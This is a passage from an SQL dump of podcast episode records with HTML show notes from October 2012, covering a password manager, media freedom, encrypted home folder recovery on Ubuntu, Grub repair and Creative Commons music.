Result</a></li>\r\n<li><a href=\"https://sacsis.org.za/site/article/1443\">France\'s Bold Plan to Tax the Rich</a></li></ul>\r\n<p>News from \"techdirt.com,\" \"thestand.org,\"&nbsp; \"inthesetimes.com,\"\r\nand\r\n\"allgov.com\" used\r\nunder&nbsp;arranged\r\npermission.</p>\r\n<p>News\r\nfrom \"torrentfreak.com\" and \"eff.org\" used\r\nunder\r\npermission of the Creative Commons\r\nby-attribution&nbsp;license.</p>\r\n<p>News from \"democracynow.org,\" and\r\n\"peoplesworld.org\" used under permission of the Creative Commons\r\nby-attribution non-commercial no-derivatives license.<br />\r\n</p>\r\n\r\n<p>News Sources retain their respective copyrights.</p>\r\n<h2>Links</h2><ul>\r\n<li><a href=\"https://www.allgov.com/news/where-is-the-money-going/another-longstanding-montana-campaign-funding-law-struck-down-121005?news=845869\">https://www.allgov.com/news/where-is-the-money-going/another-longstanding-montana-campaign-funding-law-struck-down-121005?news=845869</a></li>\r\n<li><a href=\"https://www.democracynow.org/2012/10/1/headlines#1015\">https://www.democracynow.org/2012/10/1/headlines#1015</a></li>\r\n<li><a href=\"https://inthesetimes.com/article/13809/legislate_first_ask_questions_never1/\">https://inthesetimes.com/article/13809/legislate_first_ask_questions_never1/</a></li>\r\n<li><a href=\"https://peoplesworld.org/california-approves-election-day-voter-registration/\">https://peoplesworld.org/california-approves-election-day-voter-registration/</a></li>\r\n<li><a href=\"https://www.thestand.org/2012/09/small-nfib-gets-big-bucks-from-gop-funders/\">https://www.thestand.org/2012/09/small-nfib-gets-big-bucks-from-gop-funders/</a></li>\r\n<li><a href=\"https://torrentfreak.com/prq-raid-targets-revealed-pirate-party-gets-boost-plot-thickens-121003/\">https://torrentfreak.com/prq-raid-targets-revealed-pirate-party-gets-boost-plot-thickens-121003/</a></li>\r\n<li><a href=\"https://www.eff.org/deeplinks/2012/10/governor-browns-vetoes-california-electronic-privacy-protection-again\">https://www.eff.org/deeplinks/2012/10/governor-browns-vetoes-california-electronic-privacy-protection-again</a></li>\r\n<li><a href=\"https://www.techdirt.com/articles/20121004/12122520595/why-mpaa-cant-win-hearts-minds-public-file-sharing-is-mainstream.shtml\">https://www.techdirt.com/articles/20121004/12122520595/why-mpaa-cant-win-hearts-minds-public-file-sharing-is-mainstream.shtml</a></li>\r\n<li><a href=\"https://www.techdirt.com/articles/20121004/09270920593/report-internet-freedom-shows-were-seeing-less-less-it.shtml\">https://www.techdirt.com/articles/20121004/09270920593/report-internet-freedom-shows-were-seeing-less-less-it.shtml</a></li>\r\n<li><a href=\"https://torrentfreak.com/megaupload-seized-data-case-will-get-a-hearing-court-rules-121005/\">https://torrentfreak.com/megaupload-seized-data-case-will-get-a-hearing-court-rules-121005/</a></li>\r\n<li><a href=\"https://maggiemcneill.wordpress.com/2012/10/05/so-close-and-yet-so-far/\">https://maggiemcneill.wordpress.com/2012/10/05/so-close-and-yet-so-far/</a></li>\r\n<li><a href=\"https://maggiemcneill.wordpress.com/2012/10/01/thought-control/\">https://maggiemcneill.wordpress.com/2012/10/01/thought-control/</a></li>\r\n<li><a href=\"https://www.democracynow.org/2012/10/4/expanding_the_debate_exclusive_third_party\">https://www.democracynow.org/2012/10/4/expanding_the_debate_exclusive_third_party</a></li>\r\n<li><a href=\"https://sacsis.org.za/site/article/1447\">https://sacsis.org.za/site/article/1447</a></li>\r\n<li><a href=\"https://sacsis.org.za/site/article/1443\">https://sacsis.org.za/site/article/1443</a></li>\r\n</ul>',237,65,1,'CC-BY-SA','newscast,TGTM',0,2503,1),
(1096,'2012-10-15','KeepassX',1235,'A discussion of KeepassX, a cross platform password manager','Frank Bell discusses KeepassX, a versatile cross platform password manager for Linux and other *nix operating systems, Windows, and MAC.  He talks about how he learned about it and why he has become a user after years of resisting password vaults.<br />\r\n<br />\r\nRelated links:<br />\r\n<a href=\"https://www.keepassx.org/\">KeepassX</a>:  https://www.keepassx.org/<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Twofish\">Twofish encryption</a>:  https://en.wikipedia.org/wiki/Twofish<br />\r\n<a href=\"https://csrc.nist.gov/archive/aes/rijndael/wsdindex.html\">AES (Rijndael) encryption</a>:  https://csrc.nist.gov/archive/aes/rijndael/wsdindex.html<br />\r\n<a href=\"https://extragear.kde.org/apps/pwmanager/\">PwManager</a>:  https://extragear.kde.org/apps/pwmanager/<br />\r\n<a href=\"https://live.gnome.org/GnomeKeyring\">Gnome Keyring</a>:  https://live.gnome.org/GnomeKeyring<br />\r\n<a href=\"https://utils.kde.org/projects/kwalletmanager/\">Kwallet</a>:  https://utils.kde.org/projects/kwalletmanager/<br />\r\n<a href=\"https://www.linuxjournal.com/content/keepassx-keeping-your-passwords-safe\">Linux Journal article on KeepassX</a>:  https://www.linuxjournal.com/content/keepassx-keeping-your-passwords-safe<br />\r\n<a href=\"https://slackbuilds.org/repository/13.37/office/keepassx/\">KeepassX Slackbuild</a>:  https://slackbuilds.org/repository/13.37/office/keepassx/<br />\r\n<a href=\"https://keepass.com/\">Keepass, the inspiration of KeepassX</a>:   https://keepass.com/<br />',195,0,1,'CC-BY-SA','KeepassX,password,password vault',0,2587,1),
(1097,'2012-10-16','The Cyberunions Podcast',2855,'Exploring the intersection between trade union organising and new technology','<p>\r\nToday it\'s the turn of <strong>The Cyberunions Podcast</strong>, <a href=\"https://cyberunions.org/\">https://cyberunions.org/</a>. <em>Cyberunions is a project exploring the intersection between trade union organising and new technology. Rather than seeing technology as a set of tools, we see cyberspace as a space, where people work, organise politically, are entertained and educated, and engage in many fields of human endeavour.</em>\r\n</p>\r\n<p>\r\nTodays show is <em>The Cyberunions Podcast - Episode 46: gIMMI net freedomz</em> <a href=\"https://cyberunions.org/the-cyberunions-podcast-episode-46-gimmi-net-freedomz/\">https://cyberunions.org/the-cyberunions-podcast-episode-46-gimmi-net-freedomz/</a>\r\n</p>\r\n<hr />\r\n<p>We speak to <a href=\"https://www.smarimccarthy.is/about/\">Smári McCarthy</a> of the <a href=\"https://immi.is/Home\">International Modern Media Institute</a></p>\r\n<p><em>1:30 May Day updates</em></p>\r\n<ul>\r\n<li>Good day in Mexico City</li>\r\n<li><a href=\"https://www.breitbart.com/Big-Government/2012/05/03/may-day-chicago\" onclick=\"javascript:_gaq.push([\'_trackEvent\',\'outbound-article\',\'https://www.breitbart.com\']);\">Good article</a> about the new and old left coming together in the US</li>\r\n<li>Interesting times across Europe</li>\r\n<li>Elections in the UK (local), France and Greece</li>\r\n</ul>\r\n<p><em>6:00 Tech update</em></p>\r\n<ul>\r\n<li>Apple finally credits <a href=\"https://idealab.talkingpointsmemo.com/2012/05/how-openstreetmap-got-apple-to-give-it-due-credit.php\" >Open Street Maps</a></li>\r\n<li>Duckduckgo searches Open Street Maps if you search !osm</li>\r\n</ul>\r\n<p><em>8:00 Interview with <a href=\"https://www.smarimccarthy.is/about/\" >Smári McCarthy</a></em></p>\r\n<ul>\r\n<li><a href=\"https://immi.is/Home\" >International Modern Media Institute</a> builds media freedom best practice</li>\r\n<li>Makes Iceland the best country in the world to host information</li>\r\n<li>Time to go on the offensive to assert net freedom</li>\r\n<li>In the US, free speech is easy to suppress at local level</li>\r\n<li>Free speech laws are 200 years out of date and not fit for the information age</li>\r\n<li>Never waste a good crisis - it’s an opportunity for change</li>\r\n<li><a href=\"https://this.is/birgitta/\">Birgitta Jonsdottir</a> helped promote media freedom in the <a href=\"https://en.wikipedia.org/wiki/Althing\" >Alþingi</a></li>\r\n<li>The financial crisis means Iceland can no longer rely on is finance sector</li>\r\n<li>Data services become a new economic sector, which is diversified and encourages entrepeneurship</li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Anti-Counterfeiting_Trade_Agreement\" >ACTA</a> is a threat to a large portion of human endeavour and must be stopped</li>\r\n<li>Lobbyists have succeeded in entrenching intellectual monopoly protections into the Kenyan constitution - allows them to leverage East Africa</li>\r\n<li>How do unions fit into this? Where is the digital labour movement?</li>\r\n<li>The labour movement is paralysed by hierarchy - the internet challenges this and can unlock union power</li>\r\n<li>The industrial revolution was a tragic mistake</li>\r\n<li>How do you protect whistleblowers?</li>\r\n<li>You can get hosting in Iceland through <a href=\"https://ecodis.net/\" >Ecodis</a></li>\r\n</ul>\r\n\r\n<h2>Links</h2>\r\n<ul>\r\n<li><a href=\"https://immi.is/Home\">https://immi.is/Home</a></li>                                                       \r\n<li><a href=\"https://www.breitbart.com/Big-Government/2012/05/03/may-day-chicago\">https://www.breitbart.com/Big-Government/2012/05/03/may-day-chicago</a></li>                                                                              \r\n<li><a href=\"https://idealab.talkingpointsmemo.com/2012/05/how-openstreetmap-got-apple-to-give-it-due-credit.php\">https://idealab.talkingpointsmemo.com/2012/05/how-openstreetmap-got-apple-to-give-it-due-credit.php</a></li>              \r\n<li><a href=\"https://www.smarimccarthy.is/about/\">https://www.smarimccarthy.is/about/</a></li>                         \r\n<li><a href=\"https://immi.is/Home\">https://immi.is/Home</a></li>                                                       \r\n<li><a href=\"https://en.wikipedia.org/wiki/Althing\">https://en.wikipedia.org/wiki/Althing</a></li>                   \r\n<li><a href=\"https://en.wikipedia.org/wiki/Anti-Counterfeiting_Trade_Agreement\">https://en.wikipedia.org/wiki/Anti-Counterfeiting_Trade_Agreement</a></li>                                                                                \r\n<li><a href=\"https://ecodis.net/\">https://ecodis.net/</a></li>\r\n</ul>\r\n',158,54,1,'CC-BY-SA','trade union,media freedom',0,2510,1),
(1098,'2012-10-17','My Journey to Geekdom',795,'A personal reminiscence','<p>Welcome to Becky Newborough&apos;s first solo podcast for HPR in which she invites us along on her trip down memory lane as she reminisces about how she started using tech.\r\nShe has previously taken part in last year&apos;s collaborative HPR New Years eve show; jointly recorded a congratulatory message for HPR&apos;s 1000th episode and more recently\r\nat OggCamp 2012, she told us all about setting up Lincoln LUG.</p>\r\n\r\n<ul>\r\n    <li><a title=\"Link to World of Spectrum - 3D Deathchase\" href=\"https://www.worldofspectrum.org/infoseekid.cgi?id=0001303\">ZX Spectrum 3D Deathchase</a></li>\r\n    <li><a title=\"Link to World of Spectrum - Jetset Willy\" href=\"https://www.worldofspectrum.org/infoseekid.cgi?id=0002589\">ZX Spectrum Jetset Willy</a></li>\r\n    <li><a title=\"List of aircraft of the RAF\" href=\"https://en.wikipedia.org/wiki/List_of_aircraft_of_the_Royal_Air_Force\">List of aircraft of the RAF</a></li>\r\n    <li><a title=\"Link to Crunchbang Linux\" href=\"https://crunchbang.org/\">Crunchbang Linux</a></li>    \r\n</ul>\r\n<p>Becky hopes that you have enjoyed the show.</p>\r\n\r\n<h2>Links</h2><ul>\r\n<li><a href=\"https://www.worldofspectrum.org/infoseekid.cgi?id=0001303\">https://www.worldofspectrum.org/infoseekid.cgi?id=0001303</a></li>\r\n<li><a href=\"https://www.worldofspectrum.org/infoseekid.cgi?id=0002589\">https://www.worldofspectrum.org/infoseekid.cgi?id=0002589</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/List_of_aircraft_of_the_Royal_Air_Force\">https://en.wikipedia.org/wiki/List_of_aircraft_of_the_Royal_Air_Force</a></li>\r\n<li><a href=\"https://crunchbang.org/\">https://crunchbang.org/</a></li>\r\n</ul>\r\n',226,0,1,'CC-BY-SA','BBC Micro,ZX Spectrum 48k,RAF,Crunchbang,Lincoln LUG',0,2480,1),
(1099,'2012-10-18','compilers part 2',592,'About the parsing stage of a compiler','<strong>miscellaneous radio theater 4096 </strong>\r\n<br />\r\nIn this multipart episode sigflup describes the parsing stage of a compiler.',115,84,1,'CC-BY-SA','compiler,parsing',0,2399,1),
(1100,'2012-10-19','Why Android Tablets Suck Part2',1642,'MrGadgets might be changing his opinion of Android Tablets','in today\'s show Mr.Gadgets calls in another episode on why Android tablets suck.',155,0,1,'CC-BY-SA','Android,tablet ',0,2742,1),
(1101,'2012-10-22','Recovery of an (en)crypted home directory in a buntu based system',1107,'Encrypted home folder recovery','<P>Recovery of an (en)crypted home directory in a \'buntu based system </P>\r\n<P>by 5150</P>\r\n<P><BR>\r\n</P>\r\n<P>This is going to be the archetypal “How I Did It” episode because if fulfills the criterion of dealing with an issue most listeners will most likely never have to resolve, but might be invaluable to those few who some day encounter the same problem, how to recover an encrypted home folder on an Ubuntu system.</P>\r\n<P>I enabled home folder encryption on installation of a Linux Mint 8 system some years back and it never gave me trouble until the day that it did.  Suddenly, my login would be accepted, but then I would come right back to GDM.  Finally I dropped into a text console to try to recover the contents of my home folder, and instead found two files, Access-Your-Private-Data.desktop and README.txt .  README.txt explained that I had arrived in my current predicament because my user login and password for some reason were no longer decrypting my home folder (Ubuntu home folder encryption is tied to your login, no additional password is required).  Honestly, until I lost access to my files, I \'d forgotten that I\'d opted for encryption.  I found two\r\narticles that described similar methods of recovery.  I\'d tried that following their instructions and failed, probably because I was mixing and matching what seemed to be the easiest steps to implement from the two articles.  When I took another look at the material weeks later, I discovered I missed a link in the comments that led me to an improved method added at Ubuntu 11.04 that saves several steps:\r\n<A HREF=\"https://blog.dustinkirkland.com/2011/04/introducing-ecryptfs-recover-private.html\">https://blog.dustinkirkland.com/2011/04/introducing-ecryptfs-recover-private.html</A></P>\r\n<OL>\r\n<LI><P>Boot to an Ubuntu distribution CD (11.04 or later)</P>\r\n<LI><P>Create a mount point and mount the hard drive.  Of course, if you configured you drive(s) with multiple data partitions (root, /home,\r\netc) you would have to mount each separately to recover all the contents of your drive, but you only have to worry about decrypting your home directory.  If you use LVM, and your home directory spans several physical drives or logical partitions, I suspect things could get interesting.</P>\r\n<OL>\r\n<LI><P>$sudo mkdir /media/myhd</P>\r\n<OL>\r\n<LI><P>/media is owned by root, so modifying it requires elevation</P>\r\n</OL>\r\n<LI><P>You need to confirm how your hardrive is registered with the OS.  I just ran Disk Utility and confirmed that my hard drive was parked\r\nat /dev/sda, that meant that my single data partition would be at /dev/sda1</P>\r\n<LI><P>$sudo mount /dev/sda1 /media/myhd</P>\r\n<LI><P>Do a list on /media/myhd to confirm the drive is mounted</P>\r\n<OL>\r\n<LI><P>$ls /media/myhd</P>\r\n</OL>\r\n<LI><P>The new recovery command eliminates the need to re-create your old user</P>\r\n<OL>\r\n<LI><P>$sudo ecryptfs-recover-private           (yes, ecrypt not e<U>n</U>crypt)</P>\r\n<LI><P>You will have to wait a few minutes while the OS searches your hard drive for encrypted folders</P>\r\n<OL>\r\n<LI><P>When a folder is found, you will see </P>\r\n<P>INFO:\r\nFound [/media/myhd/home/.ecryptfs/<I>username</I>/.Private].</P>\r\n<P>Try to recover this directory? [Y/n]</P>\r\n<UL>\r\n<LI><P>Respond “Y”</P>\r\n</UL>\r\n<LI><P>You will be prompted for you old password</P>\r\n<LI><P>You should see a message saying your data was mounted read only at </P>\r\n<P>/tmp/ecryptfs.{SomeStringOfCharacters}</P>\r\n<UL>\r\n<LI><P>I missed the mount point at first, I was look for my files in /media/myhd/home/<I>myusername</I></P>\r\n</UL>\r\n</OL>\r\n</OL>\r\n<LI><P>If you try to list the files in /tmp/ecryptfs.{SomeStringOfCharacters}, you will get a “Permission Denied” error.  This because your old user owns these files, not your distribution CD login</P>\r\n<OL>\r\n<LI><P>[You will probably want to copy “/tmp/ecryptfs.{SomeStringOfCharacters}” into your terminal buffer as you will need to reference it in commands.  You can select if with your mouse in the “Success” message and copy it with &lt;Ctrl&gt;&lt;Alt&gt;c, paste it later with &lt;Ctrl&gt;&lt;Alt&gt;v</P>\r\n<LI><P>I tried to take ownership of /tmp/ecryptfs.{SomeStringOfCharacters}, I should have thought that would have worked.</P>\r\n<OL>\r\n<LI><P>From my command prompt, I can see my user name is “ubuntu”</P>\r\n<LI><P>$ sudo chown -R ubuntu /tmp/ecryptfs.{SomeStringOfCharacters}</P>\r\n<UL>\r\n<LI><P>-R takes ownership of subdirectories recursively</P>\r\n<LI><P>It\'s a good time to get a cup of coffee</P>\r\n</UL>\r\n</OL>\r\n</OL>\r\n<LI><P>Next, we need to copy the files in our home directory to another location, I used an external USB drive (it was automounted under /media when I plugged it in).  If you had space on the original hard drive, I suppose you could create a new user and copy the files to the new home folder.  I decided to take the opportunity to upgrade my distro.  Some of the recovered files will wind up on my server and some on my newer laptop.</P>\r\n<OL>\r\n<LI><P>One could run Ubuntu\'s default file manager as root by issuing “sudo nautilus &amp;” from the command line (the “&amp;” sends the\r\nprocess to the background so you can get your terminal prompt back)</P>\r\n<OL>\r\n<LI><P>Before copying, be sure to enable “View Hidden Files” so the configuration files and directories in you home directory will be recovered as well.  As I said, there are select configuration files and scripts in /etc I will want to grab as well.</P>\r\n</OL>\r\n<LI><P>I had trouble with Nautilus stopping on a file it couldn\'t copy, so I used cp from the terminal so the process wouldn\'t stop every\r\ntime it needed additional input.</P>\r\n<OL>\r\n<LI><P>$ cp -Rv  /tmp/ecryptfs.{SomeStringOfCharacters} /media/<I>USBDrive</I>/<I>Recovered</I></P>\r\n<UL>\r\n<LI><P>Of course the destination will depend on what you\'ve named your USB drive and what folder (if any) you created to hold your recovered files</P>\r\n<LI><P>-Rv copies subdirectories recursively and verbosely, otherwise the drive activity light may be your only indication of progress.  The cp command automatically copies hidden files as well.</P>\r\n<LI><P>Because of the file ownership difficulties, I could only copy the decrypted home folder in its entirety, \r\n</P>\r\n</UL>\r\n</OL>\r\n<LI><P> I still had trouble with access do to to ownership once I detached the external drive and remounted it on my Fedora laptop, but I\r\ntook care of that with:</P>\r\n<OL>\r\n<LI><P>$ su -c \'chown -R <I>mylogin</I>/media/<I>USBDrive</I>/<I>Recovered\'</I></P>\r\n</OL>\r\n</OL>\r\n</OL>\r\n</OL>\r\n',131,0,1,'CC-BY-SA','encryption,Ubuntu,recovery ',0,2545,1),
(1102,'2012-10-23','Speech Impediments',1322,'In this episode Door shares with us life with a speech impediment','In this episode Door shares with us life with a speech impediment, his experiences and his speech goals.',212,79,1,'CC-BY-SA','speech impediment,stuttering ',0,2430,1),
(1103,'2012-10-24','Thoughtkindness: In Defense of Media Freetardation',4790,'Media formats and freedom','<p>It took 14 months longer than intended to get this episode done! To make up \r\nfor it, I\'ve unintentionally ended up with enough time of me talking to almost\r\nmake up a minimal-useful-sized episode every month while everyone\'s been \r\nwaiting.</p>\r\n<p>Today\'s episode of \"Thoughtkindness\" consists of:</p>\r\n<ul>\r\n<li>Me begging for forgiveness for disappearing for a year.</li>\r\n<li>An update on \"bunnies\", my linux laptop from Ohava Computers</li>\r\n<li>Over an hour of my attempt to collect and explain why we need \r\nto make media on the internet more \"freetarded\"</li>\r\n</ul>\r\n<p>After revealing what ticked me off and made me start on this episode, I \r\nlaunch into a short technical and historical talk about the handful of audio \r\nand video files that matter on the web today.</p>\r\n<p>(Opus, Ogg Vorbis, WebM, MP3, Flash Video, MP4, and a few others).</p>\r\n<p>Following this, I explain why I think the legally-free media formats are\r\nso important, and much more useful than most people seem to recognize, why\r\nI think we need to be paying more attention to audio than video, and what\r\nneeds to happen to make legally-free media ubiquitous.</p>\r\n<p>I conclude by once again begging for attention and foolishly publically\r\nannouncing that I want to try to develop some software and invite everyone\r\nto pester me for it as well as for future audio shows. Maybe I won\'t be \r\nallowed to procrastinate for another year before producing more this time.</p>\r\n<p>Let me know if this is helpful or at least entertaining...</p>\r\n<p>Note: an Opus version of this episode will be available at\r\nhttps://hpr.dogphilosophy.net for either online listening in \r\nFirefox 15 or later, or downloading for listening in VLC or \r\nother Opus-supporting applications.</p>\r\n',182,0,1,'CC-BY-SA','media format,freedom,Opus,Ogg Vorbis,WebM,MP3,Flash Video,MP4 ',0,2551,1),
(1104,'2012-10-25','TuxJam: Episode 15',3675,'In this episode we visit the TuxJam podcast from Scotland','<p>Today we are going to take a jaunt over to see how it\'s done in the Highlands. </p>\r\n<p>\r\n<strong>The TuxJam audiocast</strong> is a family friendly Creative Commons music show with open source goodness.<br />\r\n<a href=\"https://casts.unseenstudio.co.uk/tuxjam/2012/08/28/episode-15/\">https://casts.unseenstudio.co.uk/tuxjam/2012/08/28/episode-15/</a>\r\n</p>\r\n<hr />\r\n<p>After a sunny warm summer on Lewis, TuxJam makes a return that coincides with the rain and gales.  \r\nTo entertain the listeners on the cold autumn nights Kevie looks at \r\n<a href=\"https://www.tinycorelinux.com/\" target=\"_blank\">Tiny Core Linux</a> 4.6, \r\n<a href=\"https://www.planetwatt.com/\" target=\"_blank\">WattOS</a> R6, \r\n<a href=\"https://www.zorin-os.com/\" target=\"_blank\">ZorinOS</a> 6.1 \"Lite\", \r\n<a href=\"https://www.salineos.com/\" target=\"_blank\">SalineOS</a> 2.0,\r\n<a href=\"https://manjaro.org/\" target=\"_blank\"> Manjaro Linux</a> 0.8 and \r\n<a href=\"https://www.pclinuxos.com/\" target=\"_blank\">PCLinuxOS</a> 2012.08. Along with an in-depth look at \r\n<a href=\"https://lubuntu.net/\" target=\"_blank\">Lubuntu</a>, \r\n<a href=\"https://writetype.bernsteinforpresident.com/\" target=\"_blank\">WriteType</a>, \r\n<a href=\"https://radiotray.sourceforge.net/\" target=\"_blank\">Radio Tray</a> and Android browser \r\n<a href=\"https://guardianproject.info/apps/orweb/\" target=\"_blank\">Orweb v2</a>.  Listen to Kevie on a recent episode of the \r\n<a href=\"https://www.musicmanumit.com/2012/08/unseen-studio-120819-music-manumit.html\" target=\"_blank\">Music Manumit</a> podcast. Please email suggestions for music/software for Kevie to try out, tag the message #tuxjam (\r\n<a href=\"https://identi.ca\" target=\"_blank\">identi.ca</a>, \r\n<a href=\"https://joindiaspora.com\" target=\"_blank\">Diaspora</a> or \r\n<a href=\"https://https://libertreeproject.org/\" target=\"_blank\">Libertree</a>) or make a note of it on TuxJam’s \r\n<a href=\"https://piratepad.net/tuxjam\" target=\"_blank\">PiratePad</a> page.  Along with the following great creative commons tracks:\r\n</p>\r\n<p>\r\n1. <a href=\"https://www.jamendo.com/en/track/956150/give-it-up\" target=\"_blank\">Soundstatues - Give It Up</a><br />\r\n2. <a href=\"https://www.jamendo.com/en/list/a112385/promise\" target=\"_blank\">Lar Clobsay - Promise</a><br />\r\n3. <a href=\"https://www.jamendo.com/en/track/332410/don-t-care\" target=\"_blank\">Crimson Sun - Don’t Care</a><br />\r\n4. <a href=\"https://badpandarecords.wordpress.com/2012/05/21/badpanda129/\" target=\"_blank\">Tommy Toussaint - I Don’t Wanna Cry </a><br />\r\n5. <a href=\"https://www.jamendo.com/en/track/955435/brainscience\" target=\"_blank\">Reduced Romantics - Brainscience </a><br />\r\n6. <a href=\"https://www.jamendo.com/en/track/879138/commercial-hi-tech-music\" target=\"_blank\">Plastic3 - Commercial High Tech Music</a>\r\n</p>\r\n<h2>Links</h2><ul>\r\n<li><a href=\"https://casts.unseenstudio.co.uk/tuxjam/2012/08/28/episode-15/\">https://casts.unseenstudio.co.uk/tuxjam/2012/08/28/episode-15/</a></li>\r\n<li><a href=\"https://www.tinycorelinux.com/\">https://www.tinycorelinux.com/</a></li>\r\n<li><a href=\"https://www.jamendo.com/en/track/956150/give-it-up\">https://www.jamendo.com/en/track/956150/give-it-up</a></li>\r\n<li><a href=\"https://www.jamendo.com/en/list/a112385/promise\">https://www.jamendo.com/en/list/a112385/promise</a></li>\r\n<li><a href=\"https://www.jamendo.com/en/track/332410/don-t-care\">https://www.jamendo.com/en/track/332410/don-t-care</a></li>\r\n<li><a href=\"https://badpandarecords.wordpress.com/2012/05/21/badpanda129/\">https://badpandarecords.wordpress.com/2012/05/21/badpanda129/</a></li>\r\n<li><a href=\"https://www.jamendo.com/en/track/955435/brainscience\">https://www.jamendo.com/en/track/955435/brainscience</a></li>\r\n<li><a href=\"https://www.jamendo.com/en/track/879138/commercial-hi-tech-music\">https://www.jamendo.com/en/track/879138/commercial-hi-tech-music</a></li>\r\n</ul>\r\n',158,54,1,'CC-BY-SA','TuxJam,music ',0,2435,1),
(1106,'2012-10-29','Of Fuduntu, RescaTux (or the Farmer Buys a Dell)',754,'An installation tale of woe','<P>This is another one of my How I Did It\r\nPodcasts (or How I Done It if you rather) where my goal is to pass\r\nalong the things I learn as a common Linux user administering my home\r\ncomputers and network, and engaging in the types of software\r\ntinkering that appeals to our sort of enthusiast.</P>\r\n<P><BR>\r\n</P>\r\n<P>I\'d been thinking for a while about\r\nreplacing the small computer on my dinner table. I had been using an\r\nold HP TC1000, one of the original active stylus Windows tablets, of\r\ncourse now upgraded to Linux. With the snap in keyboard, it had a\r\nform factor similar to a netbook, with the advantage that all the\r\nvulnerable components were behind the LCD, up off the table and away\r\nfrom spills. It had served my purpose of staying connected to IRC\r\nduring mealtimes, and occasional streaming of live casts, but I\r\nwanted more. I wanted to be able to join into Mumble while preparing\r\nmeals, I wanted to be able to load any website I wanted without\r\nlockups, and I wanted to stream video content and watch DVDs.</P>\r\n<P><BR>\r\n</P>\r\n<P>I was concerned that putting a laptop\r\non the table was an invitation to have any spilled beverage sucked\r\nright into the air intakes, and I never even considered a desktop\r\nsystem in the dining room until I saw a refurbished Dell Inspiron 745\r\non GearXS.com (I wouldn\'t normally plug a specific vendor, but now\r\nGearXS is putting Ubuntu on all it\'s used corporate castoff systems).\r\nThis Dell had the form factor that is ubiquitous in point-of-sale, a\r\nvertical skeleton frame with a micro system case on one side and a\r\n17” LCD on the other, placing all the electronics several inches\r\nabove the surface on which it is placed. I even found a turntable\r\nintended for small TVs that lets me smoothly rotate the monitor to\r\neither at my place on the table or back towards the kitchen where I\r\nam cooking. I already had a sealed membrane keyboard with an\r\nintegrated pointer and wireless-N USB dongle to complete the package.\r\nShipped, my “new” dual core 2.8Ghz Pentium D system with 80Gb\r\nhard drive and Intel graphics was under $150. [The turntable was $20\r\nand an upgrade from 1Gb to 4Gb of used DDR2 was $30, but both were\r\nworth it.] Since the box shipped with Ubuntu, I thought installing\r\nthe distro of my choice would be of no consequence, and that is where\r\nmy tale begins.</P>\r\n<P><BR>\r\n</P>\r\n<P>I\'m going to start my story towards the\r\nend, as it is the most important part. After the installation of four\r\nLinux distros in as many days (counting the Ubuntu 10.04 LTS the box\r\nshipped with, a partial installation of SolusOS 2r5, Fuduntu and\r\nfinally Lubuntu 12.04), I discovered I couldn\'t boot due to Grub\r\ncorruption (machine POSTed, but where I should have seen Grub, I got\r\na blank screen with a cursor in the upper left corner). \r\n</P>\r\n<P><BR>\r\n</P>\r\n<P>A. I thought I would do a total disk\r\nwipe and start over, but DBAN from the UBCD for Windows said it\r\nwasn\'t able to write to the drive (never seen that before) \r\n</P>\r\n<P>B. Started downloading the latest\r\nRescaTux ISO. Meanwhile, I found an article that told me I could\r\nrepair Grub with a Ubuntu CD\r\nhttps://ubuntunigeria.wordpress.com/2010/09/02/how-to-restore-grub2-using-an-ubuntu-live-cd-or-thumb-drive/\r\n, so I tried booting from the Lubuntu 12.04 CD (using the boot device\r\nselector built into the hardware). Same black screen, preceded by a\r\nmessage that the boot device I had selected was not present. Same\r\nthing with the Fuduntu DVD that had worked the day before. With the\r\nexception of UBCD, I couldn\'t get a live CD to boot. \r\n</P>\r\n<P>C. Now having downloaded the RescaTux\r\nISO, and suspecting a problem with the optical drive, I used\r\nUnetbootin to make a RescaTux bootable thumb drive. RescaTux \r\n</P>\r\n<P>(\r\nhttps://download2.berlios.de/rescatux/rescatux_cdrom_usb_hybrid_i386_486-amd64_0.30b7_sg2d.iso\r\n) has a pre-boot menu that let\'s you choose between 32 and 64 bit\r\nimages, but that was as far as I got, nothing happened when I made my\r\nselection. \r\n</P>\r\n<P>D. At this point, I am suspecting a\r\nhardware failure that just happened to coincide with my last install.\r\nThis is a Ultra Small Form Factor Dell, the kind you see as point of\r\nsale or hospital systems, so there weren\'t many components I could\r\nswap out. I didn\'t have any DDR2 laying around, but I did test each\r\nof the two sticks the system came with separately with the same\r\nresults. I then reasoned a Grub error should go away if disabled the\r\nhard drive, so I physically disconnected the drive and disabled the\r\nSATA connector in the BIOS. I still couldn\'t boot to a live CD.\r\nDeciding there was a reason his machine was on the secondary market,\r\nI hooked everything back up and reset the BIOS settings to the\r\ndefaults, still no luck. \r\n</P>\r\n<P>E. As a Hail Mary the next day, I\r\nburned the RescaTux ISO to a CD and hooked up and external USB\r\noptical drive. This time, I booted to the Live CD, did the two step\r\ngrub repair, and when I unplugged the external drive, I was able to\r\nboot right into my Lubuntu install. Now booting to Live CDs from the\r\noriginal optical drive and from the thumb drive worked. RescaTux FTW.\r\n</P>\r\n<P><BR>\r\n</P>\r\n<P>Now a little bit on how I got in this\r\nmess. As I said, the Dell shipped with 10.04, but I wanted something\r\nless pedestrian than Ubuntu (ironic I wound up there anyway). I tried\r\nHybride, but once again, like my trial on the P4 I mentioned on\r\nLinuxBasix, the Live CD booted, but the icons never appeared on the\r\ndesktop (I think it\'s a memory thing, the Dell only shipped with a\r\ngig, shared with the integrated video). After Hybride, I really\r\nwanted to be one of the cool kids and run SolusOS, but the install\r\nhung twice transferring boot/initrd.img-3.3.6-solusos. I casted\r\naround for a 64bit ISO I had on hand, and remembered I\'d really\r\nwanted to give Fuduntu a try. Fuduntu is a rolling release fork of\r\nFedora, with a Gnome 2 desktop, except that the bottom bar is\r\nreplaced with a Mac style dock, replete with bouncy icons (cute at\r\nfirst,but I could tell right away they would get on my nerves).\r\nHowever, I found I liked the distro, despite the fact I found the\r\ndefault software choices a little light for a 900Mb download (Google\r\nOffice, Chromium, no Firefox, no Gimp). Worst of all, no Mumble in\r\nthe repos at all (really Fuduntu guys? While trying to install\r\nMumble, do you know how many reviews I found that can be summed up as\r\n&quot;Fuduntu is great, but why is there no Mumble?&quot;).\r\nUnfortunately, I put Mumble on the back burner while I installed and\r\nconfigured my default set of comfort apps from the repos (Firefox,\r\nXChat, Gimp, VLC, LibreOffice, etc). [BTW, with the anticipated\r\narrival of a 2.4ghz headset, I hope to be able to use the new machine\r\nto join the LUG/podcast while preparing and dare I say eating\r\ndinner.] 